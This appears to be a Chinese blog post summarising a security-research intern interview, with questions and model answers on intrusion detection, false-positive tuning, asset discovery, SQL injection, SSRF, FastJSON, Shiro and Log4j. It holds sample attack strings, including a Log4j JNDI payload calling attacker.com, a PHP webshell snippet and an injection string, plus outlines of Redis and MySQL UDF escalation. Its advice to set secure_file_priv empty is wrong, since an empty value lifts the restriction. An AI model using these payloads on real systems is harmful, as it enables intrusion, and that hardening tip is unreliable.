2025年渗透测试面试题总结-字某某动-安全研究实习生(二面)(题目+回答)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

字某某动-安全研究实习生(二面)

[1. 护网行动中的核心工作](#1. 护网行动中的核心工作)

[2. 防护层级选择(WAF/IDS)](#2. 防护层级选择(WAF/IDS))

[3. 误报治理方案](#3. 误报治理方案)

[4. 内网误报分布场景](#4. 内网误报分布场景)

[5. MySQL执行PowerShell防护](#5. MySQL执行PowerShell防护)

[6. 资产收集经验](#6. 资产收集经验)

[7. 漏洞攻击案例](#7. 漏洞攻击案例)

[8. SQL注入攻防详解](#8. SQL注入攻防详解)

原理

防御方案

[Order By防御](#Order By防御)

特殊字符处理

[9. 宽字节注入原理](#9. 宽字节注入原理)

[10. SSRF漏洞修复(Docker环境)](#10. SSRF漏洞修复(Docker环境))

[11. 反序列化漏洞解析](#11. 反序列化漏洞解析)

FastJSON

Shiro

[12. 中间件与数据库漏洞](#12. 中间件与数据库漏洞)

Redis未授权访问

MySQL提权

[13. Log4j与JNDI攻击链](#13. Log4j与JNDI攻击链)

[Log4j RCE原理](#Log4j RCE原理)

JNDI流程


字某某动-安全研究实习生(二面)

护网中做了什么

做哪一层处理,waf?ids?

怎么解决误报过多的情况,有做过什么规则能解决这个情况的

内网误报存在于办公网还是生产网

比如mysql也会执行powershell,怎么做防护(前面说了内网误报是因为有人写了ps脚本触发的)

在做攻防的时候,资产收集这块有没有什么经验介绍的

一个单位的一级域名可能不止一个,怎么收集某个单位的所有域名,注意不是子域名

资产收集的 经验

除了信息收集,有没有什么漏洞方面的攻击案例

sql注入的原理

如何防御sql注入

遇到order by如何防御

遇到转义字符防御时,如果遇到数据库的列名或是表面本身就带有特殊字符时,应该怎么做

宽字节注入的原理

ssrf原理

ssrf漏洞如何修复

基于黑白名单的修复,现在的生产基本上都是用的docker ,ip是随时会变得,而且docker重启后可能什么都不一样了,怎么做一个修复

fastjson反序列化原理

redis漏洞

mysql提权

shiro 反序列化原理

log4j漏洞原理

jndi的解析流程和原理

1. 护网行动中的核心工作

  1. 监测与响应
    • 部署SIEM系统实时分析流量,结合EDR端点行为日志,对APT攻击链(如Cobalt Strike)进行深度追踪。
    • 建立威胁情报联动机制,对接微步、VirusTotal等平台,快速拦截恶意IP和域名。
  2. 资产暴露面收敛
    • 通过Shodan、FOFA等工具扫描暴露在公网的资产(如Redis、Kafka),关闭非必要端口。
    • 对云上对象存储(如AWS S3、OSS)设置最小化访问策略,防止数据泄露。
  3. 红蓝对抗演练
    • 模拟钓鱼邮件(如伪造OA登录页面)、横向渗透(利用MS17-010漏洞)等攻击手法,验证防御体系有效性。

2. 防护层级选择(WAF/IDS)

  1. WAF(Web应用层)
    • 防御SQL注入、XSS等OWASP Top 10漏洞,基于正则规则拦截union select等特征。
    • 动态脚本防护:拦截WebShell上传行为(如eval($_POST[cmd]))。
  2. IDS/IPS(网络层)
    • 检测内网横向移动:如SMB协议中的PsExec命令、Mimikatz特征流量。
    • 协议异常识别:如DNS隧道(长域名+Base64编码)、ICMP隐蔽通道。
  3. 混合部署策略
    • 边界部署云WAF(如阿里云盾),内网基于Suricata实现流量镜像分析。

3. 误报治理方案

  1. 规则优化
    • 白名单机制:对内部管理系统IP(如Jenkins、Zabbix)放行特定请求。
    • 误报样本训练:收集误报日志,使用机器学习模型(如随机森林)优化规则权重。
  2. 上下文关联
    • 结合用户身份(如VPN账号)与行为基线,区分正常运维操作与攻击。
    • 示例:办公网允许PowerShell调用API,但生产网触发告警。

4. 内网误报分布场景

  1. 办公网误报
    • 自动化脚本触发:如Ansible通过WinRM执行批量命令,被误判为恶意PowerShell。
    • 解决方案:在EDR中添加脚本签名白名单。
  2. 生产网误报
    • CI/CD流水线异常:如Docker构建过程中拉取镜像的HTTP请求含特殊字符(${})。
    • 解决方案:在WAF中配置构建工具User-Agent放行规则。

5. MySQL执行PowerShell防护

  1. 权限最小化
    • 禁止MySQL服务账号加入Administrators组,限制其仅拥有数据库操作权限。
  2. 审计与拦截
    • 启用MySQL审计插件,记录xp_cmdshellsys_exec等高危函数调用。
    • 在HIDS(如Osquery)中监控powershell.exe 进程的父进程是否为mysqld.exe

6. 资产收集经验

  1. 一级域名收集方法
    • 备案查询:通过工信部备案系统反查单位名称,获取所有关联域名。
    • SSL证书关联:使用Censys搜索同一组织签名的证书(Subject-O字段)。
    • ASN归属分析:通过IP段反向查询单位所属自治系统(ASN),提取注册域名。
  2. 隐蔽资产发现
    • DNS历史记录:利用SecurityTrails查找已过期但未注销的域名解析记录。
    • 子公司关联:通过企查查等工具获取控股公司名称,扩展搜索范围。

7. 漏洞攻击案例

  1. SSRF+Redis未授权访问
    • 利用gopher://协议构造Payload,通过SSRF向Redis发送flushallset命令,写入SSH公钥。
  2. Shiro反序列化
    • 硬编码AES密钥导致攻击者伪造RememberMe Cookie,触发URLClassLoader加载远程恶意类。
  3. FastJSON JNDI注入
    • 构造恶意JSON数据中的@type字段指向攻击者控制的LDAP服务,触发JdbcRowSetImpl漏洞。

8. SQL注入攻防详解

原理
  • 攻击者通过输入篡改SQL逻辑(如' OR 1=1 --),绕过认证或泄露数据。
防御方案
  1. 预编译语句(PDO)
    • 使用参数化查询确保输入数据仅作为字面值,而非SQL语法。
  2. 输入过滤
    • 正则表达式拦截'"--等敏感字符(如/[^\w\s]/)。
  3. 权限控制
    • 数据库账户仅授予最小权限(如禁用FILEEXECUTE)。
Order By防御
  • 将用户输入映射为固定字段名(如1=>id, 2=>name),避免直接拼接。
特殊字符处理
  • 对含特殊符号的列名使用反引号包裹(如user-name),并转义输入中的反引号。

9. 宽字节注入原理

  • 成因 :数据库使用GBK编码时,%bf%5c会被解析为汉字"縗",导致单引号逃逸。
  • 修复 :统一使用UTF-8编码,并在PHP中设置mysql_set_charset('utf8')

10. SSRF漏洞修复(Docker环境)

  1. 服务发现机制
    • 通过Consul或Kubernetes Service动态获取内网服务IP,替代硬编码IP黑白名单。
  2. 协议限制
    • 禁用非常规协议(如file://gopher://),仅允许HTTP/HTTPS。
  3. 代理隔离
    • 强制所有出站流量经过代理网关,并在网关上实施请求目标校验。

11. 反序列化漏洞解析

FastJSON
  • 原理:autoType功能未严格校验类名,攻击者指定com.sun.rowset.JdbcRowSetImpl 触发JNDI注入。
  • 修复:升级至1.2.83+版本并启用safeMode
Shiro
  • 原理:硬编码AES密钥导致攻击者构造恶意序列化数据,触发AbstractPreferences类RCE。
  • 修复:随机生成新密钥并配置securityManager.rememberMe.cipherKey

12. 中间件与数据库漏洞

Redis未授权访问
  • 利用方式 :通过CONFIG SET dir写入WebShell或SSH密钥。
  • 防御 :启用requirepass密码认证,并限制CONFIG命令权限。
MySQL提权
  • UDF提权 :上传恶意SO/DLL文件,调用sys_exec()执行系统命令。
  • 防御 :设置secure_file_priv为空,禁止非授权目录写入。

13. Log4j与JNDI攻击链

Log4j RCE原理
  • 攻击者构造${jndi:ldap://attacker.com/Exploit} 日志内容,触发Log4j解析JNDI地址。
JNDI流程
  1. 受害机解析恶意LDAP地址,向攻击者服务器请求类文件。
  2. 攻击者返回包含静态代码块(static { ... })的恶意类文件。
  3. 类加载时自动执行静态代码块中的命令(如反弹Shell)。
相关推荐
海姐软件测试1 小时前
面试时,如何回答好“你是怎么测试接口的?”
测试工具·面试·职场和发展·postman
snpgroupcn1 小时前
ECC升级到S/4 HANA的功能差异 物料、采购、库存管理对比指南
运维·安全·数据库架构
拉不动的猪1 小时前
Node.js(Express)
前端·javascript·面试
浪遏2 小时前
面试官😏: 讲一下事件循环 ,顺便做道题🤪
前端·面试
uhakadotcom2 小时前
Pandas入门:数据处理和分析的强大工具
后端·面试·github
旭华智能2 小时前
地下井室可燃气体监测装置:守护地下安全,防患于未“燃”!
安全
暴躁的小胡!!!2 小时前
Linux权限维持之vim python 扩展后门(五)
linux·运维·服务器·网络·安全
浪遏3 小时前
面试官:字符串反转有多少种实现方式 ?| 一道题目检测你的基础
前端·面试
码农CV3 小时前
Java基础面试题全集
java·面试
IT、木易3 小时前
大白话CSS 优先级计算规则的详细推导与示例
前端·css·面试